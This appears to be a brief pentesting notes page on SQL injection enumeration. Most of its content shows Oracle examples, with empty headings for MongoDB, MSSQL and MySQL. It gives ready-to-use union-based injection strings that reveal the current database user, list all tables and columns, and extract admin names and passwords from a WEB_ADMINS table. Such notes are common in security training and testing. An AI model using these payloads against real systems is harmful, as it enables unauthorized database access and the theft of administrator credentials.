SQL Injections & Enum

find db > table name > table columns > user > pass

Mongo
SQLi

Common flow (oracle as eg.)

Check for error messages if any hints on facilitating injection syntax

For a search field attack, enum the number of returning columns (eg oracle db)

Enum data type

Check current db user: a' or 'a'='a' union all select user,null,3 from dual--'

List all tables: a' or 'a'='a' union all select table_name,owner,3 from all_tables--' and find table_name of specific dbuser owner

Enum column names: a' or 'a'='a' union all select column_name,table_name,3 from all_tab_columns--' and find column_name of specific table_name

List interested contents: a' or 'a'='a' union all select ADMIN_NAME,PASSWORD,3 from WEB_ADMINS--'

MSSQL

MySQL / Maria

Last updated